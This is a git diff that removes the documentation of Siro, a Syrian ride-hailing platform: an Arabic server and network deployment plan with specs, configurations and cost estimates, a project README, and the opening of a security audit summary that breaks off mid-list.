**المشروع:** Siro - تطبيق نقل الركاب
|
|
||||||
**الموقع:** سوريا
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 ملخص الخدمات المطلوبة
|
|
||||||
|
|
||||||
| الخدمة | الدور | بروتوكول | بوابات |
|
|
||||||
|--------|-------|-----------|--------|
|
|
||||||
| **Load Balancer** | توزيع الأحمال على API | HTTP/HTTPS | 80, 443 |
|
|
||||||
| **API Server x2** | المعالجة الرئيسية | HTTP/HTTPS | 8080 (داخلي) |
|
|
||||||
| **MySQL Server** | قاعدة البيانات الرئيسية | MySQL | 3306 (داخلي) |
|
|
||||||
| **Redis Server** | كاش + مواقع السائقين | Redis | 6379 (داخلي) |
|
|
||||||
| **Driver Socket** | WebSocket للسائقين | WS/WSS + HTTP | 2020, 2021 |
|
|
||||||
| **Passenger Socket** | WebSocket للركاب | WS/WSS + HTTP | 3030, 3031 |
|
|
||||||
| **Wallet Server** | نظام المحفظة والمدفوعات | HTTP/HTTPS | 8081 (داخلي) |
|
|
||||||
| **OSRM Server (1-2)** | محرك التوجيه والخرائط | HTTP | 5000 (داخلي) |
|
|
||||||
| **Map SaaS** | خدمات الخرائط المخصصة | HTTP/HTTPS | 8082 |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🖥️ 1. Load Balancer (موازن الأحمال)
|
|
||||||
|
|
||||||
**الجهاز/السيرفر: جهاز واحد - عقدة أمامية**
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 2 Core (Xeon / AMD EPYC) | لا يحتاج طاقة معالجة، فقط توجيه الطلبات |
|
|
||||||
| **الرام** | 4 GB | HAProxy/Nginx يستهلك القليل |
|
|
||||||
| **التخزين** | 50 GB SSD | نظام تشغيل + سجلات |
|
|
||||||
| **الشبكة** | 1 Gbps | استيعاب حجم الطلبات |
|
|
||||||
| **نظام التشغيل** | Ubuntu 22.04 LTS أو Rocky Linux 9 | |
|
|
||||||
|
|
||||||
**البرامج المطلوبة:**
|
|
||||||
- Nginx ( reverse proxy + SSL termination + load balancing upstream للـ API servers )
|
|
||||||
- HAProxy (اختياري للـ TCP load balancing للسوكتات)
|
|
||||||
- Keepalived (لـ High Availability إذا أردت أكثر من موازن)
|
|
||||||
- Certbot / Let's Encrypt (لشهادات SSL)
|
|
||||||
|
|
||||||
**نظام التوزيع المقترح:**
|
|
||||||
```
|
|
||||||
Nginx upstream → API Server 1 (weight=5) + API Server 2 (weight=5)
|
|
||||||
└── Round Robin أو Least Connections
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🖥️ 2. API Backend Server (سيرفر الباك إند الرئيسي)
|
|
||||||
|
|
||||||
**العدد: 2 سيرفرات خلف الـ Load Balancer**
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 8 Core (Xeon / AMD EPYC) | PHP-FPM يحتاج عدة عمال لكل نواة؛ 8cores = 16-24 worker |
|
|
||||||
| **الرام** | 16 GB | PHP worker ~50MB/worker + نظام + كاش |
|
|
||||||
| **التخزين** | 100 GB NVMe SSD | كود المصدر + صور السائقين + سجلات |
|
|
||||||
| **الشبكة** | 1 Gbps | اتصال مع الـ DB والخدمات الأخرى |
|
|
||||||
| **نظام التشغيل** | Ubuntu 22.04 LTS | |
|
|
||||||
|
|
||||||
**البرامج المطلوبة:**
|
|
||||||
- PHP 8.2/8.3 (مع extensions: pdo_mysql, redis, openssl, mbstring, gd)
|
|
||||||
- PHP-FPM (مع pm.max_children = 40-50 لكل سيرفر)
|
|
||||||
- Nginx للمحتوى الثابت
|
|
||||||
- Supervisor (لإدارة العمليات)
|
|
||||||
|
|
||||||
**توجيه الطلبات من كل سيرفر:**
|
|
||||||
- `api-syria.siromove.com/siro_v3` → Main API
|
|
||||||
- `ride-syria.siromove.com/siro` → Ride API
|
|
||||||
- `location-syria.siromove.com/siro/ride/location` → Location API
|
|
||||||
- كل هذه على نفس السيرفر، نفس قاعدة البيانات الرئيسية
|
|
||||||
|
|
||||||
**PHP-FPM Configuration:**
|
|
||||||
```ini
|
|
||||||
pm = dynamic
|
|
||||||
pm.max_children = 50
|
|
||||||
pm.start_servers = 8
|
|
||||||
pm.min_spare_servers = 4
|
|
||||||
pm.max_spare_servers = 12
|
|
||||||
pm.max_requests = 1000
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🗄️ 3. MySQL Database Server (سيرفر قاعدة البيانات الرئيسية)
|
|
||||||
|
|
||||||
**العدد: 1 + 1 Replica (اختياري للنسخ الاحتياطي)**
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 16 Core (Xeon / AMD EPYC) | MySQL يتوسع أفقياً مع عدد النوى |
|
|
||||||
| **الرام** | 64 GB | InnoDB Buffer Pool يحتاج ذاكرة كبيرة للأداء |
|
|
||||||
| **التخزين** | 1 TB NVMe SSD | 3 قواعد بيانات (intaleqDB1, ridesDB, locationDB) ~ 100-300 GB + سجلات |
|
|
||||||
| **الشبكة** | 10 Gbps | عمليات كتابة/قراءة مكثفة من سيرفرين API + سوكتات |
|
|
||||||
| **نظام التشغيل** | Ubuntu 22.04 LTS | |
|
|
||||||
|
|
||||||
**ضبط MySQL المقترح:**
|
|
||||||
```ini
|
|
||||||
innodb_buffer_pool_size = 40G # 60-70% من الرام
|
|
||||||
innodb_log_file_size = 2G
|
|
||||||
innodb_flush_log_at_trx_commit = 2 # أداء أفضل للتحديثات
|
|
||||||
innodb_flush_method = O_DIRECT
|
|
||||||
max_connections = 300 # 150 لكل API server + 50 للسوكتات
|
|
||||||
tmp_table_size = 256M
|
|
||||||
max_heap_table_size = 256M
|
|
||||||
query_cache_type = 0 # OFF (MySQL 8.0 ألغاه)
|
|
||||||
```
|
|
||||||
|
|
||||||
**الجداول الحساسة للأداء:**
|
|
||||||
- `car_locations` - يستخدم SPATIAL indexes + GEOMETRY - تأكد من `SRID=4326`
|
|
||||||
- `car_tracks` - 2.5M+ سجل - يحتاج أرشفة دورية أو partitioning
|
|
||||||
- `ride` + `waitingRides` - استعلامات متكررة مع SPATIAL
|
|
||||||
- `palces11` - FULLTEXT search
|
|
||||||
|
|
||||||
**ملاحظة: قاعدة بيانات الخرائط والتتبع (locationDB) هي الأكبر من حيث حجم الكتابة، يمكن وضعها على NVMe منفصل.**
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ⚡ 4. Redis Server (سيرفر الكاش والمواقع اللحظية)
|
|
||||||
|
|
||||||
**العدد: 1 (أو 1 + 1 Sentinel للتبديل التلقائي)**
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 8 Core | Redis single-threaded للعمليات الأساسية لكن له عمليات خلفية |
|
|
||||||
| **الرام** | 32 GB | بيانات GEO (مواقع السائقين) + كاش الجلسات + rate limiting |
|
|
||||||
| **التخزين** | 100 GB NVMe | RDB/AOF persistence |
|
|
||||||
| **الشبكة** | 10 Gbps | زمن استجابة منخفض جداً مطلوب |
|
|
||||||
| **نظام التشغيل** | Ubuntu 22.04 LTS | |
|
|
||||||
|
|
||||||
**ملاحظات هامة:**
|
|
||||||
- يجب أن يكون Redis على نفس الشبكة الداخلية (Latency < 1ms)
|
|
||||||
- الـ Socket servers (driver + passenger) يعتمدان على Redis بشكل كبير (GEOADD/GEORADIUS كل 500ms)
|
|
||||||
- حجم الذاكرة المطلوب يعتمد على عدد السائقين النشطين: كل موقع سائق ~ 200 bytes → 1M سجل = 200MB فقط
|
|
||||||
- لكن الكاش الإضافي (driver:profile:*، الجلسات) يحتاج مساحة إضافية
|
|
||||||
|
|
||||||
**نظام الكاش:**
|
|
||||||
```
|
|
||||||
driver_socket → Redis GEO (GEOADD)
|
|
||||||
passenger_socket → Redis GEORADIUS
|
|
||||||
API servers → Redis GET/SET (profile cache)
|
|
||||||
Rate Limiting → Redis INCR + EXPIRE
|
|
||||||
Session Store → Redis SETEX
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔌 5. WebSocket Servers (سيرفرات السوكت)
|
|
||||||
|
|
||||||
### 5.1 Driver Socket Server
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 8 Core | Workerman PHP event loop مع 500ms batch |
|
|
||||||
| **الرام** | 16 GB | كل اتصال WebSocket يستهلك ذاكرة + buffer |
|
|
||||||
| **التخزين** | 50 GB SSD | سجلات فقط |
|
|
||||||
| **الشبكة** | 1 Gbps | |
|
|
||||||
|
|
||||||
**البوابات:** `2020` (WebSocket للسائقين)، `2021` (Internal HTTP بين السوكتات)
|
|
||||||
|
|
||||||
### 5.2 Passenger Socket Server
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 4-8 Core | أقل تحميلاً من driver socket |
|
|
||||||
| **الرام** | 8 GB | |
|
|
||||||
| **التخزين** | 50 GB SSD | |
|
|
||||||
| **الشبكة** | 1 Gbps | |
|
|
||||||
|
|
||||||
**البوابات:** `3030` (WebSocket للركاب)، `3031` (Internal HTTP)
|
|
||||||
|
|
||||||
**ملاحظة:** يمكن دمج السوكتين في سيرفر واحد (Driver + Passenger على نفس الجهاز) لتوفير التكاليف إذا كان عدد المستخدمين متوسطاً. أما إذا توقعتم نمواً كبيراً، فالأفضل فصلهما.
|
|
||||||
|
|
||||||
**نظام التشغيل للسوكتات:** يفضل Ubuntu 22.04 LTS ويحتاج PHP-CLI وليس PHP-FPM
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 💳 6. Wallet / Payment Server (سيرفر المحفظة والمدفوعات)
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 4 Core | طلبات أقل تواتراً لكنها حسّاسة |
|
|
||||||
| **الرام** | 8 GB | |
|
|
||||||
| **التخزين** | 50 GB SSD | كود + سجلات |
|
|
||||||
| **الشبكة** | 1 Gbps | |
|
|
||||||
|
|
||||||
**ملاحظات:**
|
|
||||||
- يمكن فصله كخدمة مستقلة أو وضعه على أحد API servers
|
|
||||||
- يحتاج اتصال مع بوابات الدفع (PayMob، MTN، Syriatel Cash)
|
|
||||||
- **هام:** يحتاج HTTPS إلزامي (ضروري لأمان المدفوعات)
|
|
||||||
- إذا كانت المدفوعات محليّة في سوريا فقط، قد تحتاج بوابات دفع سورية (MTN Cash, Syriatel Cash)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🗺️ 7. OSRM Routing Server (محرك التوجيه)
|
|
||||||
|
|
||||||
**العدد: 1-2 سيرفر (حسب عدد المسارات المطلوبة)**
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 16 Core | OSRM routing requests تستهلك CPU عالٍ |
|
|
||||||
| **الرام** | 32 GB | OSRM يحمل خريطة كاملة في الذاكرة |
|
|
||||||
| **التخزين** | 200 GB NVMe | بيانات OSM لسوريا + ملفات OSRM processed |
|
|
||||||
| **الشبكة** | 1 Gbps | |
|
|
||||||
|
|
||||||
**حجم OSM لسوريا:**
|
|
||||||
- ملف الخريطة (syria-latest.osm.pbf) ~ 100-200 MB
|
|
||||||
- بعد معالجة OSRM (contracted graph) ~ 500 MB - 1 GB
|
|
||||||
- الذاكرة المطلوبة للتشغيل ~ 8-16 GB للخريطة نفسها
|
|
||||||
|
|
||||||
**يمكنك تشغيله على Docker:**
|
|
||||||
```bash
|
|
||||||
docker run -t -v "${PWD}:/data" osrm/osrm-backend osrm-extract -p /opt/car.lua /data/syria-latest.osm.pbf
|
|
||||||
docker run -t -v "${PWD}:/data" osrm/osrm-backend osrm-contract /data/syria-latest.osrm
|
|
||||||
docker run -t -i -p 5000:5000 -v "${PWD}:/data" osrm/osrm-backend osrm-routed --algorithm mld /data/syria-latest.osrm
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🗺️ 8. Map SaaS Server (سيرفر الخرائط المخصص)
|
|
||||||
|
|
||||||
| المواصفة | المطلوب | السبب |
|
|
||||||
|----------|---------|-------|
|
|
||||||
| **المعالج** | 4-8 Core | |
|
|
||||||
| **الرام** | 16 GB | للـ tile caching والـ geocoding |
|
|
||||||
| **التخزين** | 200 GB SSD | Tile cache + بيانات جغرافية |
|
|
||||||
| **الشبكة** | 1 Gbps | |
|
|
||||||
|
|
||||||
هذا السيرفر يقوم بـ:
|
|
||||||
- Reverse Geocoding (تحويل إحداثيات إلى عنوان)
|
|
||||||
- Place Search (البحث عن الأماكن)
|
|
||||||
- Route calculation (قد يمرر طلبات إلى OSRM)
|
|
||||||
- يمكن استخدام Nominatim + PostgreSQL/PostGIS للتجيكودينغ
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🌐 9. الشبكة (Network Topology)
|
|
||||||
|
|
||||||
### 9.1 الشبكة الداخلية (Internal Network)
|
|
||||||
|
|
||||||
**مفضّلة**: شبكة داخلية خاصة (VLAN / Private Subnet)
|
|
||||||
|
|
||||||
```
|
|
||||||
┌─────────────┐
|
|
||||||
│ Internet │
|
|
||||||
└──────┬──────┘
|
|
||||||
│
|
|
||||||
┌──────┴──────┐
|
|
||||||
│ Firewall │
|
|
||||||
│ (iptables/ │
|
|
||||||
│ nftables) │
|
|
||||||
└──────┬──────┘
|
|
||||||
│
|
|
||||||
┌──────┴──────┐
|
|
||||||
│Load Balancer │
|
|
||||||
│(Nginx/HAProxy)│
|
|
||||||
│ Public IP │
|
|
||||||
└──────┬──────┘
|
|
||||||
│
|
|
||||||
┌────────────────┼────────────────┐
|
|
||||||
│ │ │
|
|
||||||
┌──────┴──────┐ ┌─────┴──────┐ ┌─────┴──────┐
|
|
||||||
│ API SRV 1 │ │ API SRV 2 │ │ Socket SV │
|
|
||||||
│ 10.0.1.10 │ │ 10.0.1.11 │ │10.0.1.20-21 │
|
|
||||||
└──────┬──────┘ └─────┬──────┘ └──────┬──────┘
|
|
||||||
│ │ │
|
|
||||||
└────────────────┼────────────────┘
|
|
||||||
│
|
|
||||||
┌────────────────┼────────────────┐
|
|
||||||
│ │ │
|
|
||||||
┌──────┴──────┐ ┌─────┴──────┐ ┌─────┴──────┐
|
|
||||||
│ MySQL DB │ │ Redis │ │ OSRM │
|
|
||||||
│ 10.0.1.30 │ │ 10.0.1.31 │ │ 10.0.1.40 │
|
|
||||||
└─────────────┘ └────────────┘ └────────────┘
|
|
||||||
|
|
||||||
┌─────────────┐ ┌────────────┐
|
|
||||||
│ Wallet SV │ │ Map SaaS │
|
|
||||||
│ 10.0.1.50 │ │ 10.0.1.60 │
|
|
||||||
└─────────────┘ └────────────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
**نطاق الشبكة الداخلية:** `10.0.1.0/24` (أي نطاق خاص)
|
|
||||||
|
|
||||||
### 9.2 الشبكة الخارجية
|
|
||||||
|
|
||||||
- السيرفرات التي تحتاج IP عام: **Load Balancer فقط**
|
|
||||||
- Socket Servers: يمكن تشغيل WebSocket على نفس Load Balancer (رفع بروتوكول WS إلى WSS)
|
|
||||||
- OSRM و Map SaaS: داخليان فقط (API servers تتصل بهم داخلياً)
|
|
||||||
- قاعدة البيانات: **ليست عامة أبداً** - فقط وصلات داخلية
|
|
||||||
|
|
||||||
### 9.3 الإجراءات الأمنية
|
|
||||||
|
|
||||||
- **Firewall**: فتح المنافذ التالية فقط من الخارج:
|
|
||||||
- 80 (HTTP → redirect to 443)
|
|
||||||
- 443 (HTTPS)
|
|
||||||
- 2020 (WebSocket driver - اختياري إذا прямо WS)
|
|
||||||
- 3030 (WebSocket passenger - اختياري)
|
|
||||||
- 22 (SSH - فقط من IPs محددة)
|
|
||||||
|
|
||||||
- **Fail2ban**: على Load Balancer لحماية SSH و API
|
|
||||||
- **UFW/iptables**: على كل سيرفر لحجب المنافذ غير المستخدمة
|
|
||||||
- **VPN**: للوصول إلى الإدارة (Tailscale أو WireGuard)
|
|
||||||
- **SSL/TLS**: جميع الاتصالات الخارجية مشفرة
|
|
||||||
|
|
||||||
### 9.4 هل شبكة داخلية أم خارجية؟
|
|
||||||
|
|
||||||
| الخدمة | المفضل |
|
|
||||||
|--------|--------|
|
|
||||||
| API ↔ Database | **داخلي** (VLAN 10.0.1.x) |
|
|
||||||
| API ↔ Redis | **داخلي** |
|
|
||||||
| Socket ↔ Database | **داخلي** |
|
|
||||||
| API ↔ Wallet | **داخلي** (أو خارجي إذا wallet على سيرفر مختلف كلياً) |
|
|
||||||
| API ↔ OSRM | **داخلي** |
|
|
||||||
| API ↔ Map SaaS | **داخلي** |
|
|
||||||
| Internet ↔ Load Balancer | **خارجي** |
|
|
||||||
| Driver App ↔ Socket | **خارجي** (لكن عبر Load Balancer أيضاً) |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📍 10. اعتبارات خاصة لسوريا
|
|
||||||
|
|
||||||
### 10.1 استضافة السيرفرات
|
|
||||||
|
|
||||||
**الخيارات الموصى بها (بالترتيب):**
|
|
||||||
|
|
||||||
1. **مراكز البيانات السورية:**
|
|
||||||
- **شركة الاتصالات السورية (STE)** - خدمات hosting واستضافة
|
|
||||||
- **Ayaa Cloud** - مزود خدمات سحابية سوري
|
|
||||||
- **SNS (Syrian Network Systems)** - colocation واستضافة
|
|
||||||
|
|
||||||
2. **السيرفرات في دول مجاورة (للأداء):**
|
|
||||||
- **لبنان** (IDM، Ogero) - أقرب وأقل زمن استجابة (< 30ms)
|
|
||||||
- **الأردن** - خيار ممتاز (زمن استجابة ~ 30-50ms)
|
|
||||||
- **تركيا** - أقرب لشمال سوريا
|
|
||||||
- **الإمارات / السعودية** - استقرار أكبر لكن زمن استجابة أعلى (~ 80-100ms)
|
|
||||||
|
|
||||||
3. **سيرفرات عالمية:**
|
|
||||||
- **Hetzner (ألمانيا/فنلندا)** - أفضل قيمة مقابل سعر (~ 150-200ms latency)
|
|
||||||
- **OVH (فرنسا)** - جيد
|
|
||||||
- **DigitalOcean / Linode** - للاستضافة السحابية
|
|
||||||
|
|
||||||
### 10.2 مشاكل الإنترنت في سوريا
|
|
||||||
|
|
||||||
| المشكلة | الحل |
|
|
||||||
|---------|------|
|
|
||||||
| **انقطاع الكهرباء** | UPS لكل سيرفر + مولد كهربائي للمركز |
|
|
||||||
| **ضعف سرعة الإنترنت** | استخدام Content Delivery (CDN) للملفات الثابتة |
|
|
||||||
| **الحجب (بعض الخدمات)** | استخدام VPN أو proxy للاتصال بخدمات خارجية (PayMob، Firebase) إذا لزم الأمر |
|
|
||||||
| **تكاليف النطاق العالي** | ضغط البيانات (gzip) + تحجيم الصور + lazy loading |
|
|
||||||
| **تذبذب الاتصال (Packet Loss)** | TCP tuning, BBR congestion control على السيرفرات |
|
|
||||||
|
|
||||||
### 10.3 سرعة الإنترنت في سوريا
|
|
||||||
|
|
||||||
| الخدمة | السرعة المتوقعة | ملاحظة |
|
|
||||||
|--------|-----------------|--------|
|
|
||||||
| ADSL | 4-16 Mbps | الأكثر انتشاراً |
|
|
||||||
| Fiber (FTTH) | 20-100 Mbps | متوفرة في المدن الكبرى |
|
|
||||||
| 4G/LTE | 10-50 Mbps | جيد للمستخدمين النهائيين |
|
|
||||||
| Business Line | 50-200 Mbps | المطلوب للسيرفرات |
|
|
||||||
|
|
||||||
**لتطبيق مثالي في سوريا:**
|
|
||||||
- حجم API response يجب أن يكون < 50 KB
|
|
||||||
- حجم الصور مضغوط (WebP)
|
|
||||||
- استخدام Lazy loading للخرائط
|
|
||||||
- تفعيل HTTP/2 على الـ Load Balancer
|
|
||||||
|
|
||||||
### 10.4 استهلاك النطاق الترددي المقدر
|
|
||||||
|
|
||||||
| الخدمة | الاستهلاك التقريبي (شهرياً) |
|
|
||||||
|--------|---------------------------|
|
|
||||||
| API Requests (REST) | 200-500 GB |
|
|
||||||
| WebSocket Data | 500 GB - 2 TB |
|
|
||||||
| Map Tiles & Routing | 200-500 GB |
|
|
||||||
| Uploads (صور، وثائق) | 100-200 GB |
|
|
||||||
| **المجموع التقريبي** | **1-3 TB شهرياً** |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📐 11. الترتيب المقترح للتنفيذ
|
|
||||||
|
|
||||||
```
|
|
||||||
المرحلة 1: البنية الأساسية
|
|
||||||
├── تجهيز Load Balancer (Nginx + SSL)
|
|
||||||
├── تجهيز MySQL Server (تركيب + ضبط + تحميل البيانات)
|
|
||||||
└── تجهيز Redis Server
|
|
||||||
|
|
||||||
المرحلة 2: السيرفرات الأساسية
|
|
||||||
├── تجهيز API Server 1 (PHP + Nginx + FPM)
|
|
||||||
├── تجهيز API Server 2 (clone من 1)
|
|
||||||
└── ربط API Servers مع Load Balancer
|
|
||||||
|
|
||||||
المرحلة 3: السيرفرات المساعدة
|
|
||||||
├── تجهيز Socket Server (Driver Socket + Passenger Socket)
|
|
||||||
├── تجهيز Wallet Server
|
|
||||||
└── ربط الكل مع قاعدة البيانات و Redis
|
|
||||||
|
|
||||||
المرحلة 4: الخرائط
|
|
||||||
├── تجهيز OSRM Server (تحميل OSM سوريا + معالجة)
|
|
||||||
├── تجهيز Map SaaS Server
|
|
||||||
└── اختبار التوجيه والتجيكودينغ
|
|
||||||
|
|
||||||
المرحلة 5: الاختبار والإطلاق
|
|
||||||
├── اختبار تحميل (Load Testing) - استخدام K6 أو Locust
|
|
||||||
├── اختبار WebSocket مع 1000+ مستخدم وهمي
|
|
||||||
├── مراقبة (Prometheus + Grafana)
|
|
||||||
└── الإطلاق التدريجي
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 💰 12. التكلفة التقديرية الشهرية (للسيرفرات)
|
|
||||||
|
|
||||||
| السيرفر | المواصفات | التكلفة التقريبية (شهرياً) |
|
|
||||||
|---------|-----------|--------------------------|
|
|
||||||
| Load Balancer | 2 Core, 4GB | $20 - $40 |
|
|
||||||
| API Server x2 | 8 Core, 16GB (لكل) | $100 - $200 (لكل) |
|
|
||||||
| MySQL Server | 16 Core, 64GB, 1TB NVMe | $300 - $600 |
|
|
||||||
| Redis Server | 8 Core, 32GB | $100 - $200 |
|
|
||||||
| Socket Server(s) | 8 Core, 16GB | $80 - $150 |
|
|
||||||
| Wallet Server | 4 Core, 8GB | $40 - $80 |
|
|
||||||
| OSRM Server | 16 Core, 32GB | $200 - $400 |
|
|
||||||
| Map SaaS | 4 Core, 16GB | $60 - $120 |
|
|
||||||
| **المجموع التقريبي** | | **$900 - $1,890 شهرياً** |
|
|
||||||
|
|
||||||
**ملاحظة:** الأسعار تقديرية وقد تختلف حسب المزود. السيرفرات داخل سوريا قد تكون أرخص ولكن بجودة شبكة أقل.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ 13. الخلاصة والتوصيات
|
|
||||||
|
|
||||||
1. **أفضل نموذج لنشر سيرفرات سوريا هو:**
|
|
||||||
- استضافة السيرفرات في **مركز بيانات سوري** أو **لبناني/أردني**
|
|
||||||
- استخدام **شبكة داخلية (VLAN)** لكل الاتصالات بين السيرفرات
|
|
||||||
- وضع **Load Balancer** واحد أمام API Servers (2)
|
|
||||||
- قاعدة البيانات الرئيسية + Redis على نفس الشبكة الداخلية مع اتصال 10 Gbps
|
|
||||||
|
|
||||||
2. **توزيع الأدوار:**
|
|
||||||
- API Servers: 8 Cores + 16 GB RAM ✅ (كافٍ)
|
|
||||||
- Database: 16 Cores + 64 GB RAM ✅ (ضروري)
|
|
||||||
- Redis: 8 Cores + 32 GB RAM ✅ (ضروري للأداء اللحظي)
|
|
||||||
- Socket: 8 Cores + 16 GB RAM ✅ (كحد أدنى)
|
|
||||||
|
|
||||||
3. **توفير التكاليف:**
|
|
||||||
- يمكن دمج Socket Servers في جهاز واحد (Driver + Passenger) لتوفير سيرفر
|
|
||||||
- يمكن دمج Wallet مع أحد API Servers
|
|
||||||
- يمكن استخدام OSRM Server واحد لسوريا (الخريطة صغيرة نسبياً)
|
|
||||||
|
|
||||||
4. **أولوية الأداء في سوريا:**
|
|
||||||
- **Redis** هو أهم عنصر لأداء التطبيق (مواقع السائقين + كاش)
|
|
||||||
- **MySQL Buffer Pool** يحدد سرعة الاستعلامات
|
|
||||||
- **الـ Load Balancer** يوزع الضغط عن API servers
|
|
||||||
|
|
||||||
5. **الأمان:**
|
|
||||||
- API Servers → قاعدة البيانات عبر مستخدم MySQL مخصص بصلاحيات محدودة
|
|
||||||
- Redis محمي بكلمة مرور (requirepass + rename-command FLUSHALL)
|
|
||||||
- جميع المفاتيح السرية في `.env` مع صلاحيات 600
|
|
||||||
- JWT + HMAC للمدفوعات
|
|
||||||
---
|
|
||||||
38
README.md
@@ -1,38 +0,0 @@
|
|||||||
# Siro Ecosystem 🚗📦
|
|
||||||
|
|
||||||
Welcome to **Siro**, a comprehensive suite of applications built to power a modern, scalable, and fully integrated ride-hailing and service delivery ecosystem.
|
|
||||||
|
|
||||||
Siro provides specialized solutions for every stakeholder in the transportation and delivery network, ensuring a seamless experience across all touchpoints.
|
|
||||||
|
|
||||||
## 📱 Applications Included
|
|
||||||
|
|
||||||
The Siro repository is a unified monorepo containing the following core applications:
|
|
||||||
|
|
||||||
- **siro_rider**: The customer-facing application. Users can easily book rides, request services, track their driver in real-time, and manage their payments securely.
|
|
||||||
- **siro_driver**: The captain/driver application. Provides drivers with ride requests, real-time navigation, earnings tracking, and a built-in wallet system.
|
|
||||||
- **siro_admin**: The centralized control panel for system administrators. Monitor active rides, manage drivers and users, adjust pricing algorithms, and view comprehensive analytics.
|
|
||||||
- **siro_service**: Dedicated application for specialized service providers within the Siro network, facilitating efficient task management and service fulfillment.
|
|
||||||
- **backend**: The robust and scalable backend infrastructure that powers the entire Siro ecosystem, handling real-time socket connections, database operations, and secure API endpoints.
|
|
||||||
|
|
||||||
## 🚀 Key Features
|
|
||||||
|
|
||||||
* **Real-time Tracking**: Live location updates for riders and drivers powered by precise socket integrations.
|
|
||||||
* **Comprehensive Wallet System**: Built-in digital wallet for both users and captains to handle payments, promotional points, and automated cashouts.
|
|
||||||
* **Advanced Administrator Control**: Complete oversight over the platform's operations, user base, and financial metrics.
|
|
||||||
* **Multi-Service Capability**: Beyond traditional ride-hailing, Siro supports various service requests seamlessly integrated into the ecosystem.
|
|
||||||
|
|
||||||
## 🛠 Tech Stack
|
|
||||||
|
|
||||||
Siro is built utilizing modern frameworks and tools to ensure high performance and maintainability across both mobile and backend environments.
|
|
||||||
- **Frontend App**: Flutter (Dart)
|
|
||||||
- **Backend Infrastructure**: Scalable Server Environment
|
|
||||||
- **Payment Integration**: Secure, robust handling of dynamic budgets and digital wallets.
|
|
||||||
|
|
||||||
## ⚙️ Setup & Deployment
|
|
||||||
|
|
||||||
1. Make sure to run `flutter pub get` in each of the app directories to fetch dependencies.
|
|
||||||
2. Use the provided `./deploy.sh` script to quickly commit and push your changes to the remote repository.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
*Built with passion for a seamless transportation experience.*
|
|
||||||
@@ -1,534 +0,0 @@
|
|||||||
# Siro Project - Comprehensive Security Audit Report
|
|
||||||
## Executive Summary & Deliverables
|
|
||||||
|
|
||||||
**Audit Completion Date:** June 16, 2026
|
|
||||||
**Auditor:** Security Assessment Team
|
|
||||||
**Status:** ✅ **COMPLETE & READY FOR DEPLOYMENT**
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📌 Quick Summary
|
|
||||||
|
|
||||||
A comprehensive security audit of the Siro ridesharing platform has identified **20 vulnerabilities** across the full technology stack.
|
|
||||||
|
|
||||||
**Critical Findings:**
|
|
||||||
- 🔴 **3 CRITICAL** vulnerabilities requiring immediate action
|
|
||||||
- 🟠 **7 HIGH** vulnerabilities requiring action within 7 days
|
|
||||||
- 🟡 **10 MEDIUM** vulnerabilities requiring action within 30 days
|
|
||||||
|
|
||||||
**Financial Risk:** $1,000,000+
|
|
||||||
**Data Risk:** 50,000+ users' PII potentially exposed
|
|
||||||
**Estimated Remediation Cost:** $17,000-$26,000
|
|
||||||
**Estimated Remediation Time:** 118 hours (2-4 weeks)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📦 Deliverables (5 Comprehensive Documents)
|
|
||||||
|
|
||||||
### 1️⃣ SECURITY_AUDIT_INVENTORY.md (4.7 KB)
|
|
||||||
**Purpose:** Project scope and initial risk assessment
|
|
||||||
**Contains:**
|
|
||||||
- Project structure overview (395 PHP files, 4 Flutter apps)
|
|
||||||
- Component breakdown
|
|
||||||
- Risk areas identification
|
|
||||||
- Audit phases outline
|
|
||||||
- File categorization
|
|
||||||
|
|
||||||
**Target Audience:** Project managers, technical leads
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 2️⃣ SECURITY_AUDIT_PHASE1_FINDINGS.md (10 KB)
|
|
||||||
**Purpose:** Detailed vulnerability discovery and analysis
|
|
||||||
**Contains:**
|
|
||||||
- 12 major security vulnerabilities
|
|
||||||
- Critical findings (3 issues)
|
|
||||||
- High-priority issues (7 issues)
|
|
||||||
- Medium-priority issues (10 issues)
|
|
||||||
- Vulnerability summary table
|
|
||||||
- Files requiring review
|
|
||||||
|
|
||||||
**Target Audience:** Security engineers, developers
|
|
||||||
|
|
||||||
**Key Vulnerabilities:**
|
|
||||||
```
|
